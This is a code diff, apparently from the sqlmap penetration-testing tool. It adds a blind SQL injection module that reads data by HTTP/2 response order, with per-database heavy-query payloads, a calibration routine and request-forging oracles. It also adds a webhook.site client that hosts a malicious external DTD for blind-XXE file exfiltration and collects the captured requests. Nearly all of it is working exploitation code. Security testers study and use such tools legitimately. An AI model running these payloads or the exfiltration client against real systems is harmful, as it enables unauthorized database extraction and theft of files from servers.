||||
return False
|
||||
|
||||
# Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order
|
||||
# reliability and tune the work size - that is the pause the user sees before engagement. Announce
|
||||
# it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait".
|
||||
import time as _time
|
||||
from lib.core.common import dataToStdout
|
||||
dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms))
|
||||
probe = connect(host, port, None, conf.timeout or 30)
|
||||
# value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand
|
||||
# that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy).
|
||||
loadFactor = max(1, conf.threads or 1)
|
||||
try:
|
||||
vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor)
|
||||
finally:
|
||||
probe.close()
|
||||
dataToStdout(" (done)\n")
|
||||
|
||||
if not vector:
|
||||
logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence)
|
||||
return False
|
||||
|
||||
oracle = engage(host, port, vector, timeout=conf.timeout or 30)
|
||||
# Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold
|
||||
# and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target
|
||||
# needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.)
|
||||
oracle.votes = 5 if confidence >= 1.0 else 9
|
||||
|
||||
# bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned
|
||||
# heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request
|
||||
# gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on
|
||||
# disengage().
|
||||
oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME
|
||||
oracle.savedVector = timeData.vector
|
||||
timeData.vector = vector
|
||||
|
||||
logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence))
|
||||
return True
|
||||
except Exception as ex:
|
||||
from lib.core.common import getSafeExString
|
||||
logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex))
|
||||
return False
|
||||
|
||||
|
||||
# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same
|
||||
# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job.
|
||||
_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection",
|
||||
"transfer-encoding", "upgrade", "content-length"))
|
||||
|
||||
|
||||
def _specToReq(spec, fallbackAuthority):
|
||||
"""Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into
|
||||
the request dict exchange_pair expects."""
|
||||
try:
|
||||
from urllib.parse import urlsplit
|
||||
except ImportError:
|
||||
from urlparse import urlsplit
|
||||
|
||||
url, method, headers, post = spec
|
||||
parts = urlsplit(url)
|
||||
path = parts.path or "/"
|
||||
if parts.query:
|
||||
path += "?" + parts.query
|
||||
reqHeaders = {}
|
||||
for key in (headers or {}):
|
||||
name = key.decode("latin-1") if isinstance(key, bytes) else key
|
||||
if name.lower() not in _FORBIDDEN_HEADERS:
|
||||
reqHeaders[key] = headers[key]
|
||||
return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority),
|
||||
"headers": reqHeaders, "body": post}
|
||||
|
||||
|
||||
def getHeavyVector(dbms=None):
|
||||
"""Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end),
|
||||
reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN <heavy>
|
||||
ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no
|
||||
SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded."""
|
||||
from lib.core.data import conf
|
||||
from lib.core.common import Backend
|
||||
|
||||
dbms = dbms or Backend.getIdentifiedDbms()
|
||||
if not dbms:
|
||||
return None
|
||||
|
||||
andVector = orVector = None
|
||||
for test in (conf.tests or []):
|
||||
title = (test.get("title") or "")
|
||||
if "heavy query" not in title.lower():
|
||||
continue
|
||||
testDbms = ((test.get("details") or {}).get("dbms")) or ""
|
||||
testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms)
|
||||
# tolerate combined labels like "Microsoft SQL Server/Sybase"
|
||||
if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))):
|
||||
continue
|
||||
vector = (test.get("vector") or "").strip()
|
||||
# Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms.
|
||||
if vector.upper().startswith("AND "):
|
||||
andVector = andVector or vector
|
||||
elif vector.upper().startswith("OR "):
|
||||
orVector = orVector or vector
|
||||
return andVector or orVector
|
||||
|
||||
|
||||
# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for
|
||||
# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request -
|
||||
# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's
|
||||
# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a
|
||||
# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That
|
||||
# self-tunes to the lightest payload that works - fast, and never allocates a huge blob.
|
||||
# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of
|
||||
# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork
|
||||
# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift.
|
||||
# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan
|
||||
# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind.
|
||||
#
|
||||
# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS
|
||||
# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB),
|
||||
# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB.
|
||||
# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never
|
||||
# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed.
|
||||
#
|
||||
# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so
|
||||
# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN
|
||||
# (<heavy>) ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal.
|
||||
# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on
|
||||
# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when
|
||||
# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung
|
||||
# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only
|
||||
# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of
|
||||
# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic.
|
||||
# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a
|
||||
# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS
|
||||
# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL).
|
||||
_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback)
|
||||
_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap)
|
||||
|
||||
LIGHT_HEAVY = {
|
||||
DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series
|
||||
DBMS.MYSQL: _LH_MYSQL,
|
||||
DBMS.MSSQL: _LH_MSSQL,
|
||||
DBMS.SYBASE: _LH_MSSQL,
|
||||
DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])",
|
||||
# recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded)
|
||||
DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))",
|
||||
# ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash
|
||||
DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')",
|
||||
# Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join
|
||||
DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)",
|
||||
# NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here ->
|
||||
# no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction.
|
||||
}
|
||||
|
||||
# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations /
|
||||
# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time
|
||||
# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same
|
||||
# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the
|
||||
# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the
|
||||
# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so
|
||||
# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS
|
||||
# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means
|
||||
# re-extract.
|
||||
LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000)
|
||||
MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter
|
||||
# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute
|
||||
# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under
|
||||
# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy.
|
||||
MIN_SEPARATION_FRAC = 0.5
|
||||
|
||||
# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit
|
||||
# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is
|
||||
# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a
|
||||
# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable
|
||||
# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the
|
||||
# response order was a coin flip -> corruption). With the count itself computed from the bit
|
||||
# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine
|
||||
# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the
|
||||
# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated
|
||||
# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged).
|
||||
_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE))
|
||||
|
||||
|
||||
# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the
|
||||
# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single
|
||||
# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads
|
||||
# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser.
|
||||
INFERENCE_BEGIN = "/*tlb*/"
|
||||
INFERENCE_END = "/*tle*/"
|
||||
|
||||
|
||||
def lightHeavyVector(dbms, cost):
|
||||
"""Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no
|
||||
primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the
|
||||
mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy).
|
||||
|
||||
Two gating shapes, both flowing through the exact same payload machinery:
|
||||
- GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound
|
||||
(GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an
|
||||
optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit.
|
||||
- Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN <heavy> ELSE [RANDNUM])' branch, used
|
||||
where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird);
|
||||
these engines were validated not to hoist.
|
||||
Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still
|
||||
manages an unreadable delta simply fails calibration and falls back to classic - never corrupts."""
|
||||
primitive = LIGHT_HEAVY.get(dbms)
|
||||
if not primitive:
|
||||
return None
|
||||
if dbms in _GATED_COST:
|
||||
gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost))
|
||||
heavy = primitive.replace("[COST]", gate)
|
||||
return "AND [RANDNUM]<%s" % heavy
|
||||
heavy = primitive.replace("[COST]", str(int(cost)))
|
||||
return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy)
|
||||
|
||||
|
||||
def negatePayload(value):
|
||||
"""Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if
|
||||
no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated
|
||||
request (the request whose heavy branch must run iff the condition does NOT hold).
|
||||
|
||||
The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL -
|
||||
NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison
|
||||
(ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor
|
||||
its negation forces the heavy branch - both requests stay cheap and the response order is left to
|
||||
secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom
|
||||
trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the
|
||||
NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every
|
||||
vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable
|
||||
across every DBMS (unlike `IS NOT TRUE`)."""
|
||||
import re
|
||||
|
||||
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)))
|
||||
if not pattern.search(value or ""):
|
||||
return None
|
||||
return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value)
|
||||
|
||||
|
||||
def _pairMs(conn, reqA, reqB, samples=5, timeout=30):
|
||||
"""Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy
|
||||
branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that
|
||||
decides which cost to engage at (see tuneHeavy)."""
|
||||
import time as _t
|
||||
|
||||
ts = []
|
||||
for _ in range(samples):
|
||||
s = _t.time()
|
||||
_pairOrder(conn, reqA, reqB, timeout)
|
||||
ts.append((_t.time() - s) * 1000.0)
|
||||
return sorted(ts)[samples // 2]
|
||||
|
||||
|
||||
def _calibrationConditions(dbms):
|
||||
"""Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real
|
||||
extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an
|
||||
UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1
|
||||
for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the
|
||||
uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a
|
||||
CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating
|
||||
with the constant sees a clean heavy delta the REAL extraction never has and engages straight into
|
||||
corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target
|
||||
measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan
|
||||
safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no
|
||||
inference/banner template (calibration still gates, just without the hoist check)."""
|
||||
from lib.core.data import queries
|
||||
|
||||
try:
|
||||
entry = queries[dbms]
|
||||
template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d'
|
||||
banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION'
|
||||
# int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range)
|
||||
return (template % (banner, 1, 1), template % (banner, 1, 255))
|
||||
except Exception:
|
||||
return ("1=1", "1=0")
|
||||
|
||||
|
||||
def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1):
|
||||
"""Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy
|
||||
that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load,
|
||||
and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if
|
||||
none qualifies.
|
||||
|
||||
Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N)
|
||||
and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a
|
||||
generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits
|
||||
under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and
|
||||
load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny."""
|
||||
from lib.core.common import Backend
|
||||
|
||||
dbms = dbms or Backend.getIdentifiedDbms()
|
||||
# Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a
|
||||
# target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with
|
||||
# ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions().
|
||||
trueCond, falseCond = _calibrationConditions(dbms)
|
||||
best = 0.0
|
||||
for cost in LIGHT_HEAVY_COSTS:
|
||||
vector = lightHeavyVector(dbms, cost)
|
||||
if not vector:
|
||||
return (None, None, 0.0)
|
||||
reqSlow = _forgeRequest(trueCond, conn.host, vector)
|
||||
reqFast = _forgeRequest(falseCond, conn.host, vector)
|
||||
# Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair
|
||||
# (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable
|
||||
# (the reliability gate that picks which cost to engage at).
|
||||
try:
|
||||
heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout)
|
||||
cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout)
|
||||
except Exception:
|
||||
heavyPair = cheapPair = 0.0
|
||||
separation = heavyPair - cheapPair
|
||||
# Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap)
|
||||
# pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a
|
||||
# 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is
|
||||
# ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of
|
||||
# TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the
|
||||
# base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms ->
|
||||
# reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny).
|
||||
# `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each
|
||||
# fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration
|
||||
# does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the
|
||||
# separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load.
|
||||
if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor:
|
||||
if progress is not None:
|
||||
progress()
|
||||
continue # margin too thin to survive load -> escalate cost
|
||||
usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
|
||||
best = max(best, confidence)
|
||||
if usable:
|
||||
return (vector, cost, confidence)
|
||||
return (None, None, best)
|
||||
|
||||
|
||||
def _forgeRequest(inferenceExpr, authority, vector=None):
|
||||
"""Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the
|
||||
INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it
|
||||
(buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...)
|
||||
are filled by agent.payload just like a normal request."""
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.request.connect import Connect
|
||||
|
||||
vector = vector if vector is not None else getTechniqueData().vector
|
||||
forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr)))
|
||||
spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True)
|
||||
return _specToReq(spec, authority)
|
||||
|
||||
|
||||
def readBitLive(conn, condition, vector=None, votes=1, timeout=30):
|
||||
"""Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison
|
||||
bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the
|
||||
negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work,
|
||||
so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector
|
||||
(rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds."""
|
||||
reqCond = _forgeRequest(condition, conn.host, vector)
|
||||
reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector)
|
||||
return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout)
|
||||
|
||||
|
||||
def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30):
|
||||
"""Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy
|
||||
reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50
|
||||
and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS
|
||||
errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially
|
||||
always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over
|
||||
a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a
|
||||
phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still
|
||||
clears the threshold comfortably. Used as the tiebreak when the symmetric read splits.
|
||||
Returns True iff the condition holds."""
|
||||
condLast = 0
|
||||
for i in range(votes):
|
||||
if i % 2 == 0:
|
||||
order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4
|
||||
else:
|
||||
order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2
|
||||
if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote
|
||||
condLast += 1
|
||||
return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%)
|
||||
|
||||
|
||||
def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None):
|
||||
"""Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0
|
||||
stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence);
|
||||
below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle."""
|
||||
reqSlow = _forgeRequest("1=1", conn.host, vector)
|
||||
reqFast = _forgeRequest("1=0", conn.host, vector)
|
||||
return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad
|
||||
# h2sqlserver.py): calibrate, then read a run of known bits and report accuracy.
|
||||
import sys
|
||||
|
||||
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
|
||||
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470
|
||||
cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000
|
||||
|
||||
def req(bit):
|
||||
return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host}
|
||||
|
||||
conn = connect(host, port, None, 30)
|
||||
usable, conf = calibrate(conn, req(1), req(0), trials=40)
|
||||
print("calibrate: usable=%s confidence=%.3f" % (usable, conf))
|
||||
if usable:
|
||||
import itertools
|
||||
# Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy
|
||||
# iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one
|
||||
# runs heavy, so a single pair resolves the bit both ways.
|
||||
bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24))
|
||||
ok = 0
|
||||
for b in bits:
|
||||
got = readBit(conn, req(b), req(1 - b), votes=1)
|
||||
ok += int(bool(got) == bool(b))
|
||||
print("read %d/%d bits correctly (single pair each)" % (ok, len(bits)))
|
||||
conn.close()
|
||||
@@ -0,0 +1,92 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import json
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import OOB_EXFIL_ENDPOINT
|
||||
|
||||
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
|
||||
# response (our malicious external DTD) AND log the request the target then makes
|
||||
# (carrying the file content). interactsh cannot host arbitrary content, hence the
|
||||
# separate backend. HTTP-only, free tier, no account required for basic tokens.
|
||||
|
||||
|
||||
class WebhookSite(object):
|
||||
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
|
||||
and reads back the requests captured on them. Self-contained on urllib (like the
|
||||
interactsh client): sqlmap's getPage caches by URL, which would make repeated
|
||||
polls of the same /requests URL return a stale snapshot and miss the callback."""
|
||||
|
||||
def __init__(self):
|
||||
# Exfil host is the public content-serving endpoint (its token API is
|
||||
# service-specific, so --oob-server, which selects the interactsh *detection*
|
||||
# server, deliberately does not repoint it).
|
||||
self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
|
||||
|
||||
def _api(self, path, post=None):
|
||||
try:
|
||||
import ssl
|
||||
try:
|
||||
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
except ImportError:
|
||||
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
|
||||
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
|
||||
handlers = []
|
||||
try:
|
||||
context = ssl.create_default_context()
|
||||
if conf.get("verifyCert") is False:
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
handlers.append(HTTPSHandler(context=context))
|
||||
except Exception:
|
||||
pass
|
||||
if conf.get("proxy"):
|
||||
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
|
||||
|
||||
request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
|
||||
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
|
||||
return getText(response.read())
|
||||
except Exception as ex:
|
||||
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
|
||||
return None
|
||||
|
||||
def newToken(self, content=None):
|
||||
"""Create a token. When `content` is given the token serves it verbatim
|
||||
(used to host the external DTD). Returns the token UUID or None."""
|
||||
body = {"default_status": 200}
|
||||
if content is not None:
|
||||
body["default_content"] = content
|
||||
body["default_content_type"] = "application/xml"
|
||||
page = self._api("/token", post=json.dumps(body))
|
||||
if page:
|
||||
try:
|
||||
return json.loads(page).get("uuid")
|
||||
except ValueError:
|
||||
pass
|
||||
return None
|
||||
|
||||
def hostUrl(self, token):
|
||||
"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
|
||||
cannot fetch https external entities."""
|
||||
host = self.endpoint.split("://", 1)[-1]
|
||||
return "http://%s/%s" % (host, token)
|
||||
|
||||
def captured(self, token):
|
||||
"""Return the list of request records captured on `token` (newest first)."""
|
||||
page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
|
||||
if page:
|
||||
try:
|
||||
return json.loads(page).get("data") or []
|
||||
except ValueError:
|
||||
pass
|
||||
return []
|
||||
@@ -0,0 +1,230 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
